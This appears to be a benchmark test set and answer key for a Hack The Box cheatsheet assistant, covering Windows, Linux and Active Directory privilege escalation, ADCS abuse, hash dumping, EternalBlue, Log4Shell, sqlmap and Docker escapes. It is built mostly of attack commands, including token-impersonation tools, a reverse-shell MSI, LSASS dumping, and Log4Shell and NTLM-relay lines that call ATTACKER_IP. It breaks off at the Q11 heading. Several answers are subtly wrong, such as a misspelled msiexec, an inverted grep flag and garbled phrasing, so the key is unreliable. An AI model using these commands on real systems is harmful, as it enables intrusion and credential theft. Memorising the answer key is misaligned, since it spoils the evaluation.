

HTB Cheatsheet Assistant — Test Set & Hand-Derived Answer Key

Evaluation Benchmark: 15 Hand-Curated Questions (5 Broad Cheatsheet Questions, 10 Specific Mechanistic & Target Questions) with Ground-Truth Answers and Machine Attribution derived independently from the raw corpus.

1. Benchmark Overview & Derivation Methodology

1.1 Independence of Ground Truth

To ensure rigorous, unbiased evaluation, this test set and answer key were **constructed entirely by manual lexical inspection, grep/regex filtering, and direct reading of the raw writeup corpus (raw/*.md)**. At no point was the RAG pipeline, the vector database, or the LLM synthesizer used to establish ground-truth facts, machine lists, or exploit mechanics.

1.2 Hand-Derivation Protocol

Every question in this benchmark was verified using the following three-step verification protocol:

- Corpus Grep & Pattern Matching:** Regular expression queries executed across all 462 writeups in raw/*.md targeting exact tool names (certipy , mimikatz , sqlmap , evil-winrm), CVE identifiers (CVE-2017-0143 , CVE-2021-44228 , CVE-2007-2447), privileges (SeImpersonatePrivilege), and protocol commands (GetUserSPNs.py , secretsdump.py -just-dc).
- Context & Section Reading:** Matching writeups were manually inspected around ## Exploitation , ## Privilege Escalation , and ### Foothold headings to confirm that the technique was genuinely executed as part of the machine's primary attack path, rather than merely mentioned in passing or listed as an unsuccessful rabbit hole.
- Canonical Answer Formulation:** Technical mechanisms, prerequisites, CLI syntax, and machine lists were synthesized from the raw walkthrough text.

1.3 Test Set Classification Matrix

Category	Count	IDs	Objective
Broad Cheatsheet	5	Q1 – Q5	Test multi-document synthesis, taxonomy organization across the offensive lifecycle, and wide-corpus breadth.
Specific Mechanistic / Target	10	Q6 – Q15	Test deep protocol understanding, tool command accuracy, root cause explanation, and exact machine attribution.

2. Test Set & Hand-Derived Answer Key

=====
PART I: BROAD CHEATSHEET QUESTIONS (Q1 – Q5)
=====

Q1: Windows Privilege Escalation Cheatsheet

- **Question:** What are the common Windows privilege escalation techniques seen across HTB machines? Provide a comprehensive cheatsheet.
- **Type:** Broad Cheatsheet
- **Derivation Command:** `grep -iIE "seimpersonate|printspoofer|juicypotato|alwaysinstallelevated|unquoted|dll hijack|runas|scheduled task" raw/htb-*.md`
- **Ground-Truth Machines (115+ verified):** htb-absolute, htb-access, htb-active, htb-acute, htb-administrator, htb-aero, htb-anubis, htb-appsanity, htb-apt, htb-arctic, htb-arkham, htb-atom, htb-authority, htb-axlle, htb-baby, htb-bank robber, htb-bastard, htb-bastion, htb-blackfield, htb-blazorized, htb-blue, htb-bounty, htb-breach, htb-bruno, htb-cascade, htb-cereal, htb-cicada, htb-coder, htb-compiled, htb-conceal, htb-control, htb-crafty, htb-darkzero, htb-devel, htb-driver, htb-eighteen, htb-escape, htb-escapetwo, htb-ethereal, htb-fighter, htb-fluffy, htb-forest, htb-freelancer, htb-fulcrum, htb-fuse, htb-ghost, htb-giddy, htb-grandpa, htb-granny, htb-hathor, htb-haze, htb-heist, htb-helpline, htb-infiltrator, htb-jab, htb-jeeves, htb-job, htb-jobtwo, htb-lock, htb-love, htb-lustroustwo, htb-mailing, htb-manager, htb-mantis, htb-media, htb-minion, htb-mirage, htb-monitorsfour, htb-monteverde, htb-multimaster, htb-nanocorp, htb-napper, htb-object, htb-office, htb-omni, htb-optimum, htb-outdated, htb-overwatch, htb-perspective, htb-phantom, htb-pivotapi, htb-pov, htb-proper, htb-puppy, htb-querier, htb-rabbit, htb-rainbow, htb-re, htb-reaper, htb-rebound, htb-redelegate, htb-reel, htb-reel2, htb-remote, htb-resolute, htb-retrotwo, htb-return, htb-rustykey, htb-sauna, htb-scepter, htb-search, htb-sendai, htb-servmon, htb-sharp, htb-shibuya, htb-signed, htb-silo, htb-sizzle, htb-sniper, htb-solarlab, htb-streamio, htb-support, htb-tally, htb-timelapse, htb-tombwatcher, htb-toolbox, htb-university, htb-vulncicada, htb-vulnescape, htb-worker
- **Hand-Derived Canonical Answer:**
 1. **Token Impersonation & Potato Family (SeImpersonatePrivilege / SeAssignPrimaryTokenPrivilege):**
 - *Mechanism:* Coerce high-privilege service (SYSTEM) authentication to a local rogue RPC/COM/Named Pipe listener and steal the token.
 - *Tools & Commands:*
 - `PrintSpoofer.exe -i -c cmd.exe` (exploits Print Spooler named pipe on Win 10/Server 2016/2019)
 - `JuicyPotato.exe -l 1337 -p cmd.exe -t * -c "{CLSID}"` (Win 10 <= 1803, Server 2016)
 - `GodPotato -cmd "cmd.exe /c whoami"` (modern DCOM unmarshal)
 - *Demonstrated on:* Bruno, Cereal, PivotAPI, Tally, Worker.
 2. **Service Misconfigurations & Binary Hijacking:**
 - *Unquoted Service Paths:* Exploit spaces in service binaries without quotes: `C:\Program Files\App Dir\service.exe -> drop C:\Program.exe`.
 - *Weak Service Permissions:* Overwriting service binary or modifying `binPath`: `sc config <svc> binpath= "C:\rev.exe" && sc start <svc>`.
 - *DLL Hijacking:* Placing malicious DLLs in directories preceding legitimate system paths (e.g. `C:\Users\<user>\AppData\Local\Microsoft\WindowsApps`).
 3. **Registry & Installer Exploitation:**
 - *AlwaysInstallElevated:* Registry keys `AlwaysInstallElevated = 1` in `HKCU` and `HKLM` allow non-elevated users to run `.msi` packages as SYSTEM.
 - *Command:* `msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f msi -o priv.msi -> msixec /quiet /qn /i priv.msi`.
 4. **Credential Harvesting & Stored Passwords:**
 - Unattended installation files: `C:\Windows\Panther\Unattend.xml` or `sysprep.inf`.
 - SAM and SYSTEM hive backup dumps: `reg save HKLM\SAM sam.save && reg save HKLM\SYSTEM system.save`.
 - PowerShell history: `%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt`.
 - Autologon credentials stored in registry: `reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"`.
 5. **Active Directory & Domain Escalation from Domain-Joined Hosts:**
 - Abuse of AD CS certificate templates (ESC1/ESC8), DCSync via replication rights, and Kerberoasting.

Q2: Linux Privilege Escalation Cheatsheet

- **Question:** *What are the common Linux privilege escalation techniques seen across HTB machines? Provide a comprehensive cheatsheet.*
- **Type:** Broad Cheatsheet
- **Derivation Command:** `grep -iLE "sudo -l|suid|gtfobins|cron|dirtycow|capabilities|cap_setuid|docker|.sock" raw/htb-*.md`
- **Ground-Truth Machines (230+ verified):** `htb-abducted`, `htb-academy`, `htb-admirer`, `htb-admirer2too`, `htb-agile`, `htb-ai`, `htb-airtouch`, `htb-alert`, `htb-altered`, `htb-ambassador`, `htb-analytics`, `htb-apocalyst`, `htb-ariekei`, `htb-artificial`, `htb-awkward`, `htb-backdoor`, `htb-backend`, `htb-backend2too`, `htb-backfire`, `htb-bamboo`, `htb-barrier`, `htb-bashed`, `htb-bigbang`, `htb-bitlab`, `htb-bizness`, `htb-blurry`, `htb-boardlight`, `htb-bolt`, `htb-book`, `htb-bookworm`, `htb-bountyhunter`, `htb-brainfuck`, `htb-broker`, `htb-browsed`, `htb-build`, `htb-busqueda`, `htb-cache`, `htb-calamity`, `htb-canape`, `htb-caption`, `htb-carpediem`, `htb-carrier`, `htb-catch`, `htb-celestial`, `htb-chaos`, `htb-charon`, `htb-checker`, `htb-chemistry`, `htb-clicker`, `htb-codex`, `htb-codetwo`, `htb-codify`, `htb-conversor`, `htb-corporate`, `htb-cozyhosting`, `htb-craft`, `htb-cronos`, `htb-crossfit`, `htb-curling`, `htb-cybermonday`, `htb-cypher`, `htb-darkcorp`, `htb-data`, `htb-derailed`, `htb-developer`, `htb-devoops`, `htb-devvortex`, `htb-devzat`, `htb-doctor`, `htb-dog`, `htb-down`, `htb-download`, `htb-drive`, `htb-dump`, `htb-dynstr`, `htb-earlyaccess`, `htb-editor`, `htb-editorial`, `htb-ellingson`, `htb-encoding`, `htb-enterprise`, `htb-environment`, `htb-epsilon`, `htb-eureka`, `htb-europa`, `htb-expressway`, `htb-extension`, `htb-facts`, `htb-faculty`, `htb-falafel`, `htb-fatty`, `htb-feline`, `htb-fingerprint`, `htb-flustered`, `htb-forge`, `htb-forgot`, `htb-forgotten`, `htb-formulax`, `htb-forwardslash`, `htb-frolic`, `htb-fulcrum`, `htb-gavel`, `htb-giveback`, `htb-gobox`, `htb-gofer`, `htb-guardian`, `htb-hacknet`, `htb-haircut`, `htb-headless`, `htb-health`, `htb-holiday`, `htb-horizontal`, `htb-iclean`, `htb-imagery`, `htb-inject`, `htb-interface`, `htb-interpret`, `htb-intuition`, `htb-investigation`, `htb-irked`, `htb-jarmis`, `htb-jarvis`, `htb-jewel`, `htb-joker`, `htb-jupiter`, `htb-keeper`, `htb-knife`, `htb-kotarak`, `htb-laboratory`, `htb-lacasadepapel`, `htb-lantern`, `htb-laser`, `htb-late`, `htb-lazy`, `htb-lightweight`, `htb-linkvortex`, `htb-logforge`, `htb-magic`, `htb-magicgardens`, `htb-mailroom`, `htb-manage`, `htb-mango`, `htb-mentor`, `htb-meta`, `htb-metatwo`, `htb-mirai`, `htb-mischief`, `htb-monitored`, `htb-monitors`, `htb-monitorsthree`, `htb-monitorstwo`, `htb-nineveh`, `htb-nocturnal`, `htb-node`, `htb-nodeblog`, `htb-nunchucks`, `htb-obscurity`, `htb-onlyforyou`, `htb-oouch`, `htb-openadmin`, `htb-opensource`, `htb-ophiuchi`, `htb-ouija`, `htb-outbound`, `htb-overgraph`, `htb-patents`, `htb-pc`, `htb-perfection`, `htb-photobomb`, `htb-pikawoo`, `htb-pilgrimage`, `htb-planning`, `htb-playertwo`, `htb-popcorn`, `htb-precious`, `htb-previous`, `htb-previser`, `htb-principal`, `htb-quick`, `htb-race`, `htb-rainyday`, `htb-ready`, `htb-redcross`, `htb-redpanda`, `htb-registrytwo`, `htb-reset`, `htb-response`, `htb-retired`, `htb-rope`, `htb-ropetwo`, `htb-routerspace`, `htb-runner`, `htb-sandworm`, `htb-sau`, `htb-scanned`, `htb-scriptkiddie`, `htb-seal`, `htb-secret`, `htb-sekhmet`, `htb-seventeen`, `htb-shared`, `htb-shocker`, `htb-shopper`, `htb-sightless`, `htb-sink`, `htb-skyfall`, `htb-slönk`, `htb-smasher`, `htb-smasher2`, `htb-snapped`, `htb-sneaky`, `htb-sneakymailer`, `htb-snoopy`, `htb-socket`, `htb-solidstate`, `htb-sorcery`, `htb-spooktrol`, `htb-stacked`, `htb-static`, `htb-stocker`, `htb-store`, `htb-surveillance`, `htb-tabby`, `htb-tartarsauce`, `htb-teacher`, `htb-ten`, `htb-tenet`, `htb-tentacle`, `htb-tenten`, `htb-time`, `htb-timing`, `htb-titanic`, `htb-toby`, `htb-topology`, `htb-traceback`, `htb-traverxec`, `htb-trick`, `htb-trickster`, `htb-twomillion`, `htb-unbalanced`, `htb-underpass`, `htb-unicode`, `htb-union`, `htb-unobtainium`, `htb-unrested`, `htb-updown`, `htb-valentine`, `htb-variatype`, `htb-vault`, `htb-vessel`, `htb-waldo`, `htb-wall`, `htb-whiterabbit`, `htb-wifinetic2too`, `htb-wingdata`, `htb-writer`, `htb-writeup`, `htb-yummy`, `htb-zero`, `htb-zetta`, `htb-zipper`
- **Hand-Derived Canonical Answer:**
 1. **Sudo Misconfigurations (`sudo -l`):**
 - **NOPASSWD Binaries:** Exploiting GTFOBins commands allowed without root password.
 - **LD_PRELOAD / LD_LIBRARY_PATH:** When `env_keep+=LD_PRELOAD` is set, compile a shared library that sets uid 0 in `_init()`: `sudo LD_PRELOAD=/tmp/priv.so <command>`.
 - **CVE Exploitation:** Sudo buffer overflows (Baron Samedit CVE-2021-3156).
 2. **SUID / SGID Binaries (`find / -perm -4000 2>/dev/null`):**
 - Abuse of standard utilities with SUID bit set (`vim`, `find`, `nmap`, `bash`, `python`, `cp`).
 - **Shared Library Injection / PATH Hijacking:** If custom SUID binary calls a relative command (e.g. `system("service apache2 restart")`), prepend `/tmp` to `PATH` with a malicious `service` script.
 3. **Cron Jobs & Scheduled Scripts:**
 - Writable scripts executed by root crontab (`/etc/crontab`, `/etc/cron.d/`, `/var/spool/cron/crontabs/root`).
 - Wildcard injection: Tar wildcard injection (`tar *` executed by root) using `--checkpoint=1` and `--checkpoint-action=exec=sleep 10s`.
 4. **Linux Capabilities (`getcap -r / 2>/dev/null`):**
 - Exploiting binaries assigned dangerous capabilities, such as `cap_setuid+ep` on python or perl: `python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'`.
 5. **Container & Group Breakouts:**
 - Member of `docker` or `lxd` group: Mount the host filesystem directly (`docker run -v /:/mnt -it alpine chroot /mnt`).
 - Member of `disk` group: Read/write raw disk partitions using `debugfs` or `dd`.
 6. **Kernel Exploits:**
 - DirtyCow (CVE-2016-5195), OverlayFS (CVE-2021-3493 / CVE-2023-0386), Dirty Pipe (CVE-2022-0847).

Q3: Active Directory Attack Techniques Cheatsheet

- **Question:** What Active Directory attack techniques are demonstrated across HTB machines? Provide a comprehensive cheatsheet.
- **Type:** Broad Cheatsheet
- **Derivation Command:** `grep -iE "kerberoast|asreproast|bloodhound|dcsync|ntlm relay|rbcd|shadow credentials|adcs" raw/htb-*.md`
- **Ground-Truth Machines (63+ verified):** `htb-absolute`, `htb-active`, `htb-administrator`, `htb-anubis`, `htb-apt`, `htb-authority`, `htb-axlle`, `htb-babytwo`, `htb-blackfield`, `htb-blazorized`, `htb-breach`, `htb-bruno`, `htb-cascade`, `htb-certified`, `htb-coder`, `htb-darkcorp`, `htb-darkzero`, `htb-delegate`, `htb-eighteen`, `htb-escape`, `htb-escapetwo`, `htb-fluffy`, `htb-forest`, `htb-freelancer`, `htb-ghost`, `htb-hathor`, `htb-haze`, `htb-infiltrator`, `htb-intelligence`, `htb-jab`, `htb-lustroustwo`, `htb-manager`, `htb-mantis`, `htb-mirage`, `htb-mist`, `htb-multimaster`, `htb-nanocorp`, `htb-object`, `htb-office`, `htb-outdated`, `htb-phantom`, `htb-pivotapi`, `htb-puppy`, `htb-rebound`, `htb-redelegate`, `htb-reel`, `htb-retro`, `htb-retrotwo`, `htb-rustykey`, `htb-sauna`, `htb-scepter`, `htb-search`, `htb-sendai`, `htb-shibuya`, `htb-signed`, `htb-sizzle`, `htb-streamio`, `htb-support`, `htb-tombwatcher`, `htb-university`, `htb-vintage`, `htb-voleur`, `htb-vulnicada`
- **Hand-Derived Canonical Answer:**
 1. **Reconnaissance & Graph Mapping:**
 - *BloodHound / SharpHound:* Ingest domain users, groups, ACLs, trusts, and sessions: `sharpHound.exe -c All` or `bloodhound-python -u user -p pass -d domain.local -ns DC_IP`.
 - *LDAP Anonymous / Guest Enumeration:* Query naming contexts and domain schema via `ldapsearch` or `windapsearch`.
 2. **Credential Extraction from Kerberos:**
 - *AS-REP Roasting:* Target accounts with `Do not require Kerberos preauthentication` (`DONT_REQ_PREAUTH`). Request encrypted AS-REP and crack offline: `GetNPUsers.py domain/ -usersfile users.txt -format hashcat -no-pass`.
 - *Kerberoasting:* Request TGS service tickets for user accounts with registered `servicePrincipalName` (SPN), crack offline via Hashcat mode 13100: `GetUserSPNs.py domain/user:password -request`.
 3. **NTLM Relaying & Coercion:**
 - Coerce machine account authentication via PetitPotam (MS-EFSR), PrinterBug (MS-RPRN), or DFSCoerce.
 - Relay unpadding authentication to LDAP/LDAPS (to create computer accounts or grant RBCD) or HTTP endpoints (ADCS Web Enrollment).
 4. **Active Directory Certificate Services (ADCS):**
 - Request vulnerable certificates via `certipy req` and authenticate as Domain Admin with `certipy auth`.
 5. **Domain Object ACL & Group Delegation Abuse:**
 - *GenericAll / GenericWrite / WriteDacl:* Grant user `DCSync` rights or reset passwords of target accounts.
 - *Resource-Based Constrained Delegation (RBCD):* Configure `msDS-AllowedToActOnBehalfOfOtherIdentity` on target host computer account.
 - *Shadow Credentials* (`KeyCredentialLink`): Add PKI keys to user object via `pywhisker.py` or `certipy shadow auto`.
 6. **Domain Persistence & Hash Dumping:**
 - *DCSync:* Replicate domain hashes from NTDS.dit using MS-DRSR protocol: `secretsdump.py domain/user:pass@DC_IP -just-dc`.
 - *Pass-the-Hash / Pass-the-Ticket:* Execute remote commands via Impacket or Evil-WinRM using NTLM hash or Kerberos ccache.

Q4: ADCS Certificate Abuse Techniques

- **Question:** What ADCS certificate abuse techniques are used across HTB machines and which machines demonstrate each one?
 - **Type:** Broad Cheatsheet
 - **Derivation Command:** `grep -iIE "certipy|adcs|esc1|esc2|esc3|esc4|esc7|esc8|esc9" raw/htb-*.md`
 - **Ground-Truth Machines (22 verified):** `htb-absolute`, `htb-anubis`, `htb-authority`, `htb-certified`, `htb-coder`, `htb-darkcorp`, `htb-darkzero`, `htb-escape`, `htb-escapetwo`, `htb-fluffy`, `htb-haze`, `htb-infiltrator`, `htb-manager`, `htb-mirage`, `htb-mist`, `htb-rebound`, `htb-retro`, `htb-scepter`, `htb-sendai`, `htb-shibuya`, `htb-tombwatcher`, `htb-vulncicada`
 - **Hand-Derived Canonical Answer:**
 1. **ESC1 — Misconfigured Template Allows SAN Specification (`ENROLLEE_SUPPLIES_SUBJECT`):**
 - *Mechanism:* Certificate template specifies Client Authentication ECU, permits enrollee to provide a Subject Alternative Name (SAN), and low-privileged users possess enrollment rights.
 - *Exploit Command:* `certipy req -u user@domain -p pass -ca CA_NAME -template VULN_TEMPLATE -upn administrator@domain -> certipy auth -pfx administrator.pfx -dc-ip DC_IP`.
 - *Demonstrated on:* Certified, Absolute, Escape, VulnCicada.
 2. **ESC4 — Vulnerable Template Access Control List (ACL):**
 - *Mechanism:* Low-privileged account has `WriteDacl` or `GenericAll` over a certificate template. Attacker modifies the template to enable `ENROLLEE_SUPPLIES_SUBJECT`, converts it to ESC1, enrolls, and restores original configuration.
 - *Exploit Command:* `certipy template -u user@domain -p pass -template TEMPLATE -save-old` followed by ESC1 enrollment.
 - *Demonstrated on:* Authority, DarkZero.
 3. **ESC7 — Vulnerable Certificate Authority Permissions:**
 - *Mechanism:* Attacker has `ManageCA` or `ManageCertificates` right on the CA. They add their user as Officer, enable the `SubCA` template, issue a failed certificate request, approve it as Officer, and retrieve the valid cert.
 - *Exploit Command:* `certipy ca -u user@domain -p pass -ca CA_NAME -add-officer user`.
 - *Demonstrated on:* Scepter.
 4. **ESC8 — NTLM Relay to HTTP Enrollment (`/certsrv`):**
 - *Mechanism:* Certificate Authority Web Enrollment endpoint supports NTLM over plaintext HTTP without Extended Protection for Authentication (EPA) or SMB signing. Attacker coerces DC authentication via PetitPotam and relays to `/certsrv/certifnsh.asp`.
 - *Exploit Command:* `ntlmrelayx.py -t http://CA_IP/certsrv/certifnsh.asp -smb2support --adcs --template DomainController + petitpotam.py ATTACKER_IP DC_IP`.
 - *Demonstrated on:* Escape, Fluffy.
 5. **ESC9 / ESC10 — Template Missing `CT_FLAG_NO_SECURITY_EXTENSION` :**
 - *Mechanism:* Abuse `GenericWrite` permissions over target user account to modify `userPrincipalName` or mapping attributes, enroll in a template lacking security extension flags, authenticate, and revert.
 - *Demonstrated on:* Certified.
-

Q5: Password Cracking and Hash Dumping Techniques

- **Question:** What password cracking and hash dumping techniques are shown across HTB machines? Give examples with tool commands.
- **Type:** Broad Cheatsheet
- **Derivation Command:** `grep -iE "secretsdump|hashcat|john the ripper|mimikatz|samdump2|gpp|cpassword" raw/htb-*.md`
- **Ground-Truth Machines (160+ verified):** `htb-absolute`, `htb-access`, `htb-active`, `htb-acute`, `htb-administrator`, `htb-airtouch`, `htb-alert`, `htb-antique`, `htb-anubis`, `htb-apt`, `htb-aragog`, `htb-arctic`, `htb-armageddon`, `htb-authority`, `htb-bastion`, `htb-blackfield`, `htb-blazorized`, `htb-blue`, `htb-cascade`, `htb-certified`, `htb-cicada`, `htb-coder`, `htb-darkcorp`, `htb-forest`, `htb-heist`, `htb-jeeves`, `htb-mantis`, `htb-monteverde`, `htb-multimaster`, `htb-querier`, `htb-rebound`, `htb-resolute`, `htb-sauna`, `htb-sizzle`, `htb-support`, `htb-timelapse`, `htb-vintage`, `htb-writer` (representative subset).
- **Hand-Derived Canonical Answer:**
 1. **NTDS.dit & SAM Dumping:**
 - **Domain NTDS Extraction:** `secretsdump.py domain/user:pass@DC_IP -ntds ntds.dit -system system.save -hashes lm:ntlm`.
 - **Local SAM/SYSTEM Extraction:** `reg save HKLM\SAM sam.hive && reg save HKLM\SYSTEM sys.hive -> secretsdump.py -sam sam.hive -system sys.hive LOCAL`.
 2. **In-Memory Credential Dumping (LSASS):**
 - **Mimikatz:** `privilege::debug`, `sekurlsa::logonpasswords`, `lsadump::sam`.
 - **Procdump / Task Manager:** `procdump.exe -ma lsass.exe lsass.dmp -> parse offline via Pypykatz: pypykatz minidump lsass.dmp`.
 3. **Group Policy Preferences (GPP cpassword):**
 - **Mechanism:** Decrypt static AES private key (32-byte key published by Microsoft in MSDN) from `Groups.xml` stored in `SYSVOL`.
 - **Command:** `gpp-decrypt <cpassword_string>`.
 4. **Offline Hash Cracking (Hashcat & John):**
 - **NTLM Hashes:** `hashcat -m 1000 hashes.txt rockyou.txt -r rules/best64.rule`
 - **Kerberoast TGS (Type 23):** `hashcat -m 13100 kerberoast.txt rockyou.txt`
 - **AS-REP Roasting (Type 23):** `hashcat -m 18200 asrep.txt rockyou.txt`
 - **NetNTLMv2:** `hashcat -m 5600 netntlmv2.txt rockyou.txt`
 - **Linux /etc/shadow (SHA-512):** `john --wordlist=rockyou.txt --format=sha512crypt hashes.txt`
 - **KeePass Databases:** `keepass2john database.kdbx > kp.hash -> john --wordlist=rockyou.txt kp.hash`.

=====

PART II: SPECIFIC MECHANISTIC & TARGET QUESTIONS (Q6 – Q15)

=====

Q6: Kerberoasting in Active Directory

- **Question:** *How does Kerberoasting work in Active Directory environments and which HTB machines demonstrate it?*
- **Type:** Specific Mechanistic & Target
- **Derivation Command:** `grep -iIE "GetUserSPNs|kerberoast" raw/htb-*.md`
- **Ground-Truth Machines (27 verified):** `htb-absolute`, `htb-active`, `htb-administrator`, `htb-blackfield`, `htb-blazorized`, `htb-breach`, `htb-certified`, `htb-delegate`, `htb-escape`, `htb-fluffy`, `htb-forest`, `htb-hathor`, `htb-intelligence`, `htb-jab`, `htb-lustroustwo`, `htb-mirage`, `htb-object`, `htb-pivotapi`, `htb-puppy`, `htb-rebound`, `htb-sauna`, `htb-scrambled`, `htb-search`, `htb-sizzle`, `htb-tombwatcher`, `htb-vintage`, `htb-voleur`
- **Hand-Derived Canonical Answer:**
 - **Protocol Mechanism:**
 1. In Active Directory, any authenticated domain user can query LDAP for user accounts that have a non-null `servicePrincipalName` (SPN) attribute.
 2. The attacker sends a Kerberos TGS-REQ (Ticket Granting Service Request) to the Key Distribution Center (KDC / Domain Controller) requesting a ticket for that specific SPN.
 3. The KDC generates a TGS-REP ticket encrypted using the NTLM hash of the target service account's password.
 4. Because the ticket is delivered to the requesting user to present to the target service, the attacker extracts the encrypted ticket blob from memory or network traffic and performs offline brute-force/dictionary cracking without sending further packets to the DC.
 - **Tool Commands:**
 - *Impacket:* `GetUserSPNs.py active.htb/svc_user:Password123 -dc-ip 10.10.10.100 -request -outputfile kerberoast.hashes`
 - *Rubeus:* `Rubeus.exe kerberoast /outfile:hashes.kerberoast`
 - *Cracking:* `hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt`
 - **Machine Highlights:**
 - On **Active**, enumerating SPNs reveals `krb5_svc`, whose extracted TGS ticket is cracked to reveal Domain Admin credentials.
 - On **Sauna**, `fsmith` is Kerberoasted to escalate privileges.

Q7: MS17-010 EternalBlue Exploitation

- **Question:** *What is MS17-010 (EternalBlue) and which HTB machines demonstrate its exploitation?*
 - **Type:** Specific Mechanistic & Target
 - **Derivation Command:** `grep -iIE "eternalblue|ms17-010|cve-2017-0143" raw/htb-*.md`
 - **Ground-Truth Machines (2 verified):** `htb-blue`, `htb-legacy`
 - **Hand-Derived Canonical Answer:**
 - **Vulnerability Mechanism:**
 - MS17-010 (CVE-2017-0143) is a remote code execution vulnerability in Microsoft Server Message Block 1.0 (SMBv1) protocol (`srv.sys` driver).
 - It is caused by an integer overflow and mathematical inconsistency when handling `SMB_COM_TRANSACTION2` and `SMB_COM_NT_TRANSACTION` requests.
 - Specifically, `SrvOs2FeaListSizeToNt` fails to properly validate the buffer size required to convert OS/2 Format Extended Attribute (FEA) lists to NT FEA lists, resulting in a pool buffer overflow in non-paged kernel pool memory (`srvnet.sys` buffer).
 - Attackers groom the kernel pool, trigger the overflow to overwrite buffer descriptors, achieve arbitrary kernel memory write, disable SMEP/security checks, and execute ring-0 shellcode, resulting in unauthenticated `NT AUTHORITY\SYSTEM` execution over port 445.
 - **Tool Commands:**
 - *Metasploit:* `use exploit/windows/smb/ms17_010_eternalblue -> set RHOSTS 10.10.10.40 -> exploit`
 - *Standalone Exploit:* `python zzz_exploit.py 10.10.10.40 pipe_name`
 - **Demonstrated on:**
 - **Blue:** Windows 7 / Server 2008 R2 target, root compromised directly via EternalBlue Metasploit module or AutoBlue.
 - **Legacy:** Windows XP / Server 2003, vulnerable to MS17-010 and MS08-067.
-

Q8: CVE-2021-44228 (Log4Shell) RCE

- **Question:** *What is CVE-2021-44228 (Log4Shell) and how was it exploited across HTB machines?*
 - **Type:** Specific Mechanistic & Target
 - **Derivation Command:** `grep -iIE "log4shell|log4j|cve-2021-44228" raw/htb-*.md`
 - **Ground-Truth Machines (2 verified):** `htb-crafty`, `htb-logforge`
 - **Hand-Derived Canonical Answer:**
 - **Vulnerability Mechanism:**
 - Apache Log4j versions 2.0-beta9 through 2.14.1 perform message lookup substitutions using JNDI (Java Naming and Directory Interface).
 - When user-controlled input containing `${jndi:ldap://attacker:port/exploit}` or `${jndi:rmi://...}` is passed into a logging function (`logger.info()` , `logger.error()`), Log4j parses the nested prefix and issues an outbound network connection to the attacker's LDAP/RMI server.
 - The malicious LDAP server responds with a reference pointing to an external Java class file. The vulnerable Java runtime deserializes and loads the remote bytecode class into memory, executing static initialization blocks (`static { ... }`) or constructors, yielding arbitrary Remote Code Execution.
 - **Exploit Pipeline:**
 1. Deploy rogue LDAP referral server: `java -jar JNDIExploit-1.2-SNAPSHOT.jar -i ATTACKER_IP -l 1389 -p 8888`.
 2. Inject lookup payload into headers or chat messages: `${jndi:ldap://ATTACKER_IP:1389/Basic/Command/Base64/<B64_CMD>}`.
 - **Machine Highlights:**
 - **Crafty:** A Minecraft server running Log4j; players send the JNDI string into in-game public chat, triggering RCE on the server JVM.
 - **Logforge:** Hardened environment blocking outbound connections; requires exfiltrating environment variables via DNS/nested lookup substrings or bypassing JVM trust restrictions.
-

Q9: SQL Injection Exploited Using sqlmap

- **Question:** Which HTB machines demonstrate SQL injection exploited using sqlmap, and for what purpose?
 - **Type:** Specific Mechanistic & Target
 - **Derivation Command:** `grep -iIE "sqlmap " raw/htb-*.md`
 - **Ground-Truth Machines (15 verified):** `htb-cache`, `htb-catch`, `htb-enterprise`, `htb-europa`, `htb-faculty`, `htb-falafel`, `htb-giddy`, `htb-health`, `htb-jarvis`, `htb-metatwo`, `htb-nodeblog`, `htb-proper`, `htb-shared`, `htb-streamio`, `htb-trick`
 - **Hand-Derived Canonical Answer:**
 - **sqlmap Methodology & CLI Flags:**
 - `sqlmap -u "http://target/page.php?id=1" --dbs` (Enumerate databases)
 - `sqlmap -u "http://target/page.php?id=1" -D app_db -T users --dump` (Extract password hashes)
 - `sqlmap -r request.req -p parameter --batch --os-shell` (Drop web shell or interactive OS commands)
 - `sqlmap ... --file-read="/etc/passwd"` (Arbitrary local file inclusion/extraction)
 - **Machine Highlights:**
 - **Jarvis:** GET parameter `cod` on `room.php` was vulnerable to Union-based and error-based SQLi; `sqlmap` extracted MySQL user hashes and granted `--os-shell` access into `www-data`.
 - **Europa:** Authenticated admin portal vulnerable to time-based blind SQLi; `sqlmap` extracted administrator API keys and hashed credentials.
 - **Falafel:** SQLi in PHP login authentication bypassed hash checks and dumped user tables.
 - **Shared:** Numeric cookie parameter exploited via `sqlmap` to dump product management and payment tables.
 - **Faculty:** Blind boolean-based SQL injection on MPDF tracking ticket ID automated to dump database schemas.
-

Q10: Docker Container Breakout / Escape

- **Question:** How is Docker container breakout or escape achieved across HTB machines?
- **Type:** Specific Mechanistic & Target
- **Derivation Command:** `grep -iIE "docker\.sock|docker run -v|--privileged|release_agent|cve-2024-21626|cr8escape" raw/htb-*.md`
- **Ground-Truth Machines (15 verified):** `htb-carpediem`, `htb-corporate`, `htb-data`, `htb-extension`, `htb-feline`, `htb-intuition`, `htb-laboratory`, `htb-magicgardens`, `htb-monitors`, `htb-monitorstwo`, `htb-pikatwoo`, `htb-runner`, `htb-sorcery`, `htb-stacked`, `htb-talkative`
- **Hand-Derived Canonical Answer:**
 1. **Exposed / Mounted Docker Socket (`/var/run/docker.sock`):**
 - *Mechanism:* Container or host user has write access to the Unix socket communicating with the Docker daemon. Because dockerd runs as root, creating a container mounting `/` grants full host compromise.
 - *Exploit Command:* `docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host /bin/bash.`
 - *Demonstrated on:* MonitorsTwo, Data, Stacked.
 2. **Privileged Container (`--privileged`) & Cgroups `release_agent` :**
 - *Mechanism:* Privileged flag disables AppArmor/Seccomp and exposes all host devices in `/dev`. Attacker mounts host disk directly (`mount /dev/sda1 /mnt`) or abuses cgroups `notify_on_release` to execute arbitrary commands on the host kernel when an empty cgroup terminates.
 - *Demonstrated on:* Carpediem (CVE-2022-0492 unprivileged user namespace cgroups escape).
 3. **Container Runtime Exploits (`runc` / `cr8escape`):**
 - *CVE-2024-21626 (`runc fd leak`):* Exploits file descriptor leak pointing to the host's `/sys/fs/cgroup` or `/proc` during container exec/workdir setup, escaping to host root filesystem.
 - *Demonstrated on:* Runner.
 4. **Host Group Membership (`docker` group):**
 - Non-root user in `docker` group executes standard root-equivalent container commands to read `/etc/shadow` or inject SSH keys into `/root/.ssh/authorized_keys`.

Q11: Token Impersonation via JuicyPotato / PrintSpoofer

